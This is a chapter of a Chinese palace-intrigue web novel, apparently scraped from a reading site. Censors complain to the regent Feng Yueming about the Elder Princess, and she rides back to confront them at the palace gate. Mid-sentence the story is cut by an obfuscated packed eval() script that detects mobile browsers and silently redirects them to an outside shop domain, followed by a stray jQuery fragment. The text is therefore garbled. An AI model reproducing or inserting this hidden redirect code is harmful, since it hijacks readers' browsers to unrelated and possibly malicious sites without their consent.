冯越鸣的书房内。
秦御史颤颤巍巍地奉上折子,他的身后,其他御史皆是一脸马上就要壮烈牺牲的表情。
坐在他们对面的冯越鸣闭了闭眼。
这帮腐儒眼皮子就是浅。
长公主区区一个女人,父母兄弟皆亡,又没有夫家,能闹出多大动静?
都察院众人打量着冯首辅的脸色。
按照规矩,弹劾某人的奏折应该直接交给皇帝裁决,但如今帝位空悬,他们只能来找摄政的冯首辅。
不过,在御史们看来,这反倒是好事。
长公主毕竟是皇家自己的人。
她犯错事,皇帝顶多教训一番,让她日后不要再犯。
但冯首辅不姓乔,他可不会因为血缘关系庇护这位行事日益猖狂的长公主。
冯越鸣接过侍从递来的折子,兴致缺缺地翻开看了两眼,又合上放到一边。
“诸位的意思的明白了,此事容后再议,先请——”
看得出这位首辅态度散漫,似乎并不打算追究长公主,一御史开口:“首辅大人可知,长公主如今频繁出入火器营一事?”
冯越鸣笑了笑。
他当然知道。
但他不认为一个早就被人放弃的火器营,能在长公主手里摇身一变,成为什么虎狼之师的精锐。
他甚至有点可怜长公主:一个孤立无援的女子,没有别的办法,只能绞尽脑汁地捡些别人不要的边角料,好给自己谋得几分安全感。
哪怕在外人看来,这只是自欺欺人。
真到了迫不得已的时候,他都不必亲自露面,一句话就能让乔栾悄无声息地死在深宫里。
但他看得出,这群御史今日过来,并不打算善罢甘休。
冯越鸣放弃原先随口打发这帮人的打算,和善地道:“诸位请细说。”
第一个开口的还是年纪最大的那位秦御史。
他长叹一声,胡须抖动:“长公主最近真是太不像话了!”
这句话为今日话题奠定了基调。
四位御史你一句我一句,将长公主近日的所作所为说了个遍。
大到抄家,小到衣着打扮、行事风格。
惊世骇俗、有辱体面、一无是处……
听得冯越鸣脑瓜子嗡嗡直响。
他后悔自己刚刚说了那句话。
长公主这些天干了什么他清楚得很,有什么必要让这几个人唾沫横飞地重复一遍?
首辅大人朝着旁边的侍从打了个手势。
侍从会意,快步走到窗边,将四面的窗户一一推开。
新鲜的空气涌入书房。
冯越鸣眉目舒展几分,拿起手边茶盏,轻抿一口,烦躁的情绪在价比千金的极品茶香中慢慢平复。
“诸位的意思,冯某明白了。”他斟酌着道,“只不过,如今帝位空悬,无人敢置喙长公主的所作所为,冯某也是有心无力啊。”
“冯大人,”这话老御史可就不爱听了,抖动着花白的胡子道,“你如今乃是摄政大臣,你若不管,还有谁能管?”
冯越鸣笑笑,将茶碗搁在侍从捧着的托盘上。
说白了,他不觉得自己有必要防备一个年轻女人。
不过乔栾最近确实太高调了,如果有人乐意出面教育长公主一番,他也不会拦着。
但是这话不能明说。
一个胖御史出声:“别的倒也罢了,长公主如今日日往城外火器营跑,全城的人都知道!”
瘦御史接话:“为了皇家声誉和长公主的名节,首辅大人也该劝一劝她,莫要再在外抛头露面,以免惹来非议啊。”
“唉,”冯越鸣叹息一声,眉宇间浮现出几分恰到好处的困扰,“我又何尝没有劝过呢,只是长公主身份特殊,她若不听我的,我也是束手无策。”
听出他不打算帮忙,都察院众人十分失望。
老御史第一个站起来。
“也罢,既然冯大人这么说,看来我们只能自己想办法了。”
听得出他们不打算善罢甘休,冯越鸣笑容扩大几分:“请便。”
“哼!”
老御史拿回自己的折子,拂袖而去。
剩下几人也匆忙拱手告辞,跟着离开。
侍从上前收拾茶具,嘟囔道:“也不知道他们要如何对付长公主,大人可要派人跟着?”
“不必。”冯越鸣拿起新的奏折打开,眼皮也不抬,“御史么,无非就是那么几套文臣招数,翻不出什么大浪来。”
的确如此。
乔栾并不知道冯家的朝臣会议说了些什么,但她很快就听到风声。
她日日往火器营跑不假,但宫里宫外若是有什么特别的动静,自有李锵和刘公公帮她盯着。
传话的小内侍骑着马飞奔到火器营,将刘公公交代的口信捎给长公主。
“殿下!刘公公派小人来告诉您,宫门外被都察院的大臣堵住了,让您晚些再回去,避一避风头。”
长公主擦了擦手上的油污,一时间没想起自己先前安排沈谈的事情,有些茫然:“他们堵宫门干什么?”
现在宫里又没有皇帝。
小内侍低头,声音轻了许多:“听说是要弹劾您身为女子,却频繁出入火器营,与男子接触过密,于礼不合……”
他以为长公主听了这番话,一定会勃然大怒。
没想到却听见旁边传来一声:“哎呦,可算是等到了!”
口气还有点惊喜。
小内侍以为自己耳朵出了什么毛病,下意识抬头,却对上长公主笑容灿烂的眉眼。
乔栾收到消息很是满意,想了想又问道:“那冯首辅怎么说?”
如今冯越鸣摄政,那帮御史要是想弹劾她,肯定会先去找他。
“冯首辅并没有露面。”小内侍虽然疑惑,但还是乖乖地回答。
哦。
冯国舅还是没把她看在眼里。
乔栾大概有数了,低头掏掏袖子,什么也没掏到,旁边适时递过来一块银锭,是细心体贴的沈谈大人。
“多谢。”
她接过银子抛给小内侍。
“回去告诉刘公公,多谢他给我递消息,不必担心,我这就去会一会这帮人。”
小内侍接住银子还没来得及谢恩,就听见这话,无措抬头:“啊?可是——”
刘公公
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841132|211652||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是让长公主避开呀。
怎么长公主知道了反倒主动要过去?
可他只是个人微言轻的传话内侍,哪敢质疑主子的决定?只好按照长公主的吩咐,先行回宫复命。
乔栾转身,打算找蒋率交代几句,这就回宫,以免回去晚了跟那帮御史错过。
沈谈却先一步拦住她,眉眼间难掩忧色:“殿下究竟想做什么?”
“放心吧,都察院里一群文官,没办法把我怎么样的。”乔栾想起什么,脚步一顿,又抬手拍拍他的胳膊,“是你帮我把他们弹劾的方向引导到这方面的吧?谢了。”
沈谈对长公主表达谢意的举动已经习惯,眉间的褶皱却没有散开,郑重道:“自古言官不可因言获罪,殿下若是要对他们动手,还请务必三思。”
乔栾:“……”
哦,不是担心她,是担心那帮御史啊。
“那你就更不用担心了。”她从沈谈旁边走过,眼底含笑,“他们是来帮我的,我怎么可能对他们动手呢?”
……
皇宫门外。
一群御史站在门口,对着高大的宫门和面无表情的侍卫,依次大声诵读自己写的弹劾奏折。
声若洪钟,情绪饱满。
慷慨激昂,唾沫横飞。
身后的大路时常有人路过,听见这边的动静,还有好事者停下脚步围观。
蓝衣官员抱着一箱卷宗从冯家府邸里出来,一抬眼就看见这边的动静,凑过去戳戳好事者:“哎,他们在说什么呢?”
围观的人不知道从哪掏出一把瓜子在嗑,眼睛仍然盯着那群御史,头也不回地道:“哦,在弹劾长公主呢。”
“嘶,长公主刚抄了一户得罪她的四品官,他们就不怕自己家也被抄了?”
“御史嘛,”围观者见多识广,“这帮人跑到这里来嚷嚷,不就是故意激怒长公主,想要名垂千古么。”
为此,连命都可以不要。
“啧啧。”
抱着卷宗的官员唏嘘两声,看够了热闹,正准备回去干活,突然看见大路尽头有一匹马直奔皇宫而来。
围观人群一阵骚动:“长公主回来了!”
他们都住在附近,长公主最近时常出入宫门,身形早就已经眼熟。
隔着这么远也能一眼看出身份。
听闻御史弹劾的主人公出现,原本想走的官员打消念头,混在人群里伸长脖子。
工作哪有看热闹有趣?
“吁——”
骏马在宫门外高高扬起四蹄,刹住去势,尘土扑了围观人群一脸。
嚣张肆意的长公主稳稳坐在马上,一手握着缰绳,一手提着马鞭,居高临下地俯视堵在宫门外的那帮人。
这么大的动静,口干舌燥的御史们也注意到了,纷纷转身看向来人。
跟意气风发的长公主相比,这帮在宫门外折腾半晌的御史可谓狼狈不堪,一转头,个个被太阳晒得眯起眼。
长公主一身轻便男装,唇角勾起一抹淡淡的笑容,目光扫过这群御史。
她面上没什么特别的情绪,声音不高,却清清楚楚地传递到对面人群耳朵里:“就是你们要弹劾本宫?”